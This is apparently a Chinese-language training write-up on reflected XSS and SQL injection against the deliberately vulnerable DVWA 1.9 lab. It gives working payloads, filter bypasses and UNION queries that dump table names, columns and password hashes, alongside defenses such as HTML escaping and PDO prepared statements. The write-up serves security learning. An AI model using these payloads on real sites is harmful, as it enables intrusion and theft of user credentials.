这段时间公司鼓励进行安全方面的测试,也做了一次启动培训,了解到了 web 安全的一些知识,在此记录一下。
DVWA(Damn Vulnerable Web Application)1.9
docker 安装方法:
docker run --rm -p 80:80 infoslack/dvwa
我们在访问一个网页的时候,在 URL 后面加上参数,服务器根据请求的参数值构造不同的 HTML 返回。
如http://localhost:8080/prjWebSec/xss/reflectedXSS.jsp?param=value...
上例中的value 可能出现在返回的 HTML(可能是 JS,HTML 某元素的内容或者属性) 中,
如果将 value 改成可以在浏览器中被解释执行的东西,就形成了反射型 XSS。
dvwa
提醒:dvwa 1.9 对于反射式 xss 貌似有点问题,有时候该级别后不生效。需要多试几次。由于时间关系,以后再研究原因。
DVWA 设为 LOW :
此时,dvwa 不会校验任何 url 参数值。
http://localhost/vulnerabilities/xss_r/index.php#
输入框输入 test
后,点击提交即会以 get 方式提交,网址变为下面的值:
http://localhost/vulnerabilities/xss_r/?name=test#
且内容中会包含 test 这个值:
此时,把 url 里面 name=
后面的值改为其他 html 内容,例如
http://localhost/vulnerabilities/xss_r/index.php?name=%3Cimg%20src=1%20onerror=alert(%27test%27)%20/%3E
则内容中会出现弹窗:
medium 级别,会把 <script>
标签替换为空
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
。可通过大小写绕过(<SCRipt>
)或双写绕过(<scr<script>ipt>
)
high 级别,则会用正则表达式把任何形式的 <script>
替换掉
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
可以通过控件事件触发绕过(<img src=1 onerror=alert('xssr') />
)
impossible 级别里面已经有了示例,只需要进行 htmlencode ,把 html 相关字符进行转码,让其不再是有效的可执行的 html/js 代码即可。
java 语言对应的函数是 org.apache.commons.lang3.StringEscapeUtils.escapeHtml4
。
PS: 目前 chrome、safari 等主流浏览器已经自动做了 xss filter ,自动转码 html 相关字符,目前貌似只有 firefox 没有做这个处理。
“SQL 注入” 是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出” 和这个不同),意思就是让应用运行本不应该运行的 SQL 代码。如果应用毫无防备地创建了 SQL 字符串并且运行了它们,就会造成一些出人意料的结果。
举个例子,一个 sql 查询语句的组装实现是
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
此时,若 id 参数的值为 1'or '1234'='1234
,则组装后的 sql 为:
SELECT first_name, last_name FROM users WHERE user_id = '1'or '1234'='1234';
可以看到,通过输入经过设计的变量值,sql 中 WHERE 条件已经形同虚设了,服务器会返回 users 的所有记录。
注意:大部分情况下,SQL 注入后不一定能直接在返回值或界面中看到效果。看不到执行效果的一律称为 盲注
1' and '1' ='2
(会导致查询结果为空)手工注入(非盲注)思路
针对 DVWA 的 SQL 注入
在输入框输入 1,成功查询出一个用户:
输入 1' and '1' ='2
,确认是否有漏洞。如果有,返回结果为空
输入 1'or '1234'='1234
,确认是否有漏洞。如果有,返回结果不止一个
至此,确认了漏洞的存在。
猜测 sql 字段数量
下一步,是猜测 sql 长什么样。首先猜测字段数。
分别输入 1' and 1=1 order by 1 #
、1' and 1=1 order by 2 #
、1' and 1=1 order by 3 #
,按照查询出来的第一个、第二个、第三个字段排序,确认有多少个字段(只显示 2 个不代表 sql 也只查出了 2 个)。
结论:只有 2 个字段,且就是结果显示中的 First name 和 Surname
确定显示顺序
输入 1' union select 1,2 #
,确认是否查询成功。由于使用了 union
,对于第二个 select,其中 1 会对应第一个字段的值,2 会对应第二个字段的值。如果成功,说明值为 1 的是第一个字段,值为 2 的是第二个字段:
获取数据库中的表
union 可以用,那就意味着我们不仅能操控 where,连整个 select 语句都可以控制了。所以下一步,要获取更多的信息,例如拿到数据库所有表。
输入 1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
,把 First Name 返回 1,Surname 返回所有数据库表。
确认了数据库里只有 2 个表,guestbook,users
补充说明:group_contact
为 mysql 专用的函数,用处是合并多条记录至一个参数中。
例如有 3 个记录的 username 都为 a,select first_name from users where username = 1
会返回 3 条记录:
+------+
| first_name|
+------+
|a |
|b |
|c |
而 select group_contact(first_name) from users where username = 1
则会把 3 条记录中 first_name 字段值合并成一条输出:
+------+
| first_name|
+------+
|a,b,c |
获取表中的字段名
输入 1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
,表示第二个查询结果中,First Name 为 1,Surname 为 users 表中的所有列名。
获取 user 表中的所有用户密码
输入 1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
,先通过 1' or 1=1
获取到所有数据,然后 union
后续的语句把数据以 user_id,first_name,last_name 合并为一起后作为一组,逐组输出 password 的值。
可以看到,admin 的密码是 5f4dcc3b5aa765d61d8327deb882cf99 。
当把 DVWA 级别设为 medium 时,会使用 mysql_real_escape_string
对 \x00,\n,\r,\,’,”,\x1a
进行转义,同时前端改为下拉框,控制用户输入。
解决方法:
针对 low 里面的攻击方法,大部分只需要把最前面的 1' ...
改为 1 ...
,去掉第一个单引号即可。
而针对获取 user 表的字段名,使用和 low 一样的攻击方法,会报错:
解决方法:可以用 16 进制绕过。sql 改为
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #
通过查看源码,可以发现相比 medium ,SQL 语句结尾增加了 LIMIT 1
,限制返回结果数。
...
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );
...
同时界面上,输入 id 变成了一个新的窗口,而非原来的下拉窗。导致接口返回值并不会返回查询结果,通过接口无法判断注入是否成功。
然而并没有什么卵用。通过使用类似 1' or 1=1 #
的写法,先加个引号匹配前面的引号,然后末尾价格 #
注释掉后续的内容即可。拼装后的 sql 语句为:SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #' LIMIT 1;
效果:
在 DWVA 中,通过 3 种方法并用来防御:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// id 必须是一个数字
if(is_numeric( $id )) {
// Check the database
// 用 PDO 划清代码与数据的界限
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// 从代码层面确定只有查询结果数量为1时才输出
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
其它语言可以采取类似的思路,限定输入值类型、采用 PDO 、限定输出值结果。
反射型 XSS 注入,核心是触发 js 的执行。触发方法不要局限于 <script>
标签,onerror
等控件事件更好用。
防御方法是所有输入先进行 html 标签转码,让其无法正常解析可执行的 html 标签。
SQL 注入(非盲注),先通过 1 or 1=1
, 1 or 1=2
判断是否有注入漏洞,有的话再通过各种组合获取数据。对于引号限制,可以用 16 进制绕过
防御方法:严格判断输入数据类型、采用 PDO 而非字符串拼接组织 SQL 、严格控制输出结果数量。通过查询页和结果页分离,可以避免 sqlmap 这类自动工具攻击,降低风险。
一个反射型 XSS 例子的解析
新手指南:DVWA-1.9 全级别教程(完结篇,附实例)之 XSS
新手指南:DVWA-1.9 全级别教程之 SQL Injection
新手指南:DVWA-1.9 全级别教程之 SQL Injection(Blind)